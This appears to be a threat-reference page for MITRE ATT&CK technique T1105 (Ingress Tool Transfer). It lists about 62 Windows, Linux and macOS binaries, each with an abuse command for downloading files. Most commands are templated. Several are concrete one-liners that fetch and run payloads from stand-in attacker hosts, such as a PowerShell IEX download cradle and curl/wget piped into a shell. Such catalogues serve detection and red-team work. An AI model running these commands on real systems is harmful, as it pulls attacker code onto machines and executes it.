T1105: Ingress Tool Transfer
Adversaries may transfer tools or other files from an external system into a compromised environment. Tools may be copied from an external adversary-controlled system over the command and control channel or through alternate protocols.
Living-off-the-Land Matrix for T1105
Across 62 verified binariescertutil.exe
Certutil.exe is a command-line program installed as part of Certificate Services. Attackers frequently abuse it to download arbitrary files from remote URLs, encode/decode Base64 payloads to evade detection, and hash files.
certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exebitsadmin.exe
Background Intelligent Transfer Service (BITS) administrator tool manages asynchronous, throttled background transfers. Attackers use BITS to stage remote downloads that survive reboots and evade conventional network monitoring.
bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exepowershell.exe
PowerShell is a powerful task automation framework and scripting engine. Widely abused by threat actors for in-memory execution (fileless malware), credential dumping, remote command execution, and AMSI bypasses.
powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"AppInstaller.exe
Tool used for installation of AppX/MSIX applications on Windows 10
start ms-appinstaller://?source={REMOTEURL:.exe}CertOC.exe
Used for installing certificates
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}CertReq.exe
Used for requesting and managing certificates
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}Cmd.exe
The command-line interpreter in Windows
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.batcmdl32.exe
Microsoft Connection Manager Auto-Download
cmdl32 /vpn /lan %cd%\configConfigSecurityPolicy.exe
Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.
ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}Desktopimgdownldr.exe
Windows binary used to configure lockscreen/desktop image
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldrDiantz.exe
Binary that package existing files into a cabinet (.cab) file
diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cabEsentutl.exe
Binary for working with Microsoft Joint Engine Technology (JET) database
esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /oExpand.exe
Binary that expands one or more compressed files
expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}Extrac32.exe
Extract to ADS, copy or overwrite a file with Extrac32.exe
extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exeFindstr.exe
Write to ADS, discover, or download files with Findstr.exe
findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exeFinger.exe
Displays information about a user or users on a specified remote computer that is running the Finger service or daemon
finger user@example.host.com | more +2 | cmdFtp.exe
A binary designed for connecting to FTP servers
echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txtHh.exe
Binary used for processing chm files in Windows
HH.exe {REMOTEURL:.bat}Ieexec.exe
The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
ieexec.exe {REMOTEURL:.exe}IMEWDBLD.exe
Microsoft IME Open Extended Dictionary Module
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}Installutil.exe
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}Ldifde.exe
Creates, modifies, and deletes LDAP directory objects.
Ldifde -i -f {PATH:.ldf}Makecab.exe
Binary to package existing files into a cabinet (.cab) file
makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cabMpCmdRun.exe
Binary part of Windows Defender. Used to manage settings in Windows Defender
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}Msedge.exe
Microsoft Edge browser
msedge.exe {REMOTEURL:.exe.txt}msedge_proxy.exe
Microsoft Edge Browser
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}msoxmled.exe
Microsoft Office XML Editor, used to handle XML documents in Microsoft Office.
msoxmled.exe /verb open {REMOTEURL}Ngen.exe
Microsoft Native Image Generator.
ngen.exe {REMOTEURL}OneDriveStandaloneUpdater.exe
OneDrive Standalone Updater
OneDriveStandaloneUpdaterPresentationhost.exe
File is used for executing Browser applications
Presentationhost.exe {PATH_ABSOLUTE:.xbap}Print.exe
Used by Windows to send files to the printer
print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}PrintBrm.exe
Printer Migration Command-Line Tool
PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}Replace.exe
Used to replace file with another file
replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /ATar.exe
Used by Windows to extract and create archives.
tar -cf {PATH}:ads {PATH_ABSOLUTE:folder}winget.exe
Windows Package Manager tool
winget.exe install --manifest {PATH:.yml}Xwizard.exe
Execute custom class that has been added to the registry or download a file with Xwizard.exe
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}PhotoViewer.dll
Windows Photo Viewer
rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}Scrobj.dll
Windows Script Component Runtime
rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}Shimgvw.dll
Photo Gallery Viewer
rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}Bcp.exe
Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files.
bcp "SELECT payload_data FROM database.dbo.payloads WHERE id=1" queryout "C:\Windows\Temp\payload.exe" -S localhost -T -cdevtunnel.exe
Binary to enable forwarded ports on windows operating systems.
devtunnel.exe host -p 8080dtutil.exe
Microsoft command line utility used to manage SQL Server Integration Services packages.
dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext}ECMangen.exe
Command-line tool for managing certificates in Microsoft Exchange Server.
ECMangen.exe {REMOTEURL}Excel.exe
Microsoft Office binary
Excel.exe {REMOTEURL}MSAccess.exe
Microsoft Office component
MSAccess.exe {REMOTEURL}Msdeploy.exe
Microsoft tool used to deploy Web Applications.
msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="{PATH_ABSOLUTE:.bat}"MsoHtmEd.exe
Microsoft Office component
MsoHtmEd.exe {REMOTEURL}Mspub.exe
Microsoft Publisher
mspub.exe {REMOTEURL}msxsl.exe
Command line utility used to perform XSL transformations.
msxsl.exe {PATH:.xml} {PATH:.xsl}Outlook.exe
Microsoft Office component
Outlook.exe {REMOTEURL}Powerpnt.exe
Microsoft Office binary.
Powerpnt.exe {REMOTEURL}ProtocolHandler.exe
Microsoft Office binary
ProtocolHandler.exe {REMOTEURL}Visio.exe
Microsoft Visio Executable
Visio.exe {REMOTEURL}VSLaunchBrowser.exe
Microsoft Visual Studio browser launcher tool for web applications debugging
VSLaunchBrowser.exe .exe {REMOTEURL:.exe}WinProj.exe
Microsoft Project Executable
WinProj.exe {REMOTEURL}Winword.exe
Microsoft Office binary
winword.exe {REMOTEURL}Wsl.exe
Windows subsystem for Linux executable
wsl.exe -e /mnt/c/Windows/System32/calc.exexsd.exe
XML Schema Definition Tool included with the Windows Software Development Kit (SDK).
xsd.exe {REMOTEURL}GfxDownloadWrapper.exe
Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path.
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"curl
Curl is a tool to transfer data from or to a server using supported protocols (HTTP, HTTPS, FTP, etc.). Attackers leverage curl to download malicious second-stage scripts and pipe directly into bash or sh for fileless in-memory execution.
curl -fsSL https://attacker.c2/setup.sh | bashwget
GNU Wget is a non-interactive network downloader. Attackers abuse wget to retrieve remote tools, exfiltrate data via POST requests, and execute downloaded scripts.
wget -q -O - http://attacker.domain/installer.sh | shcurl
Curl is standard on macOS and frequently invoked in bash/zsh shell scripts by macOS stealers (e.g. Atomic macOS Stealer / AMOS) to fetch stage 2 Mach-O executables or exfiltrate keychain data.
curl -s -L -o /tmp/.stage2 https://c2.macos-stealer.com/loader && chmod +x /tmp/.stage2 && /tmp/.stage2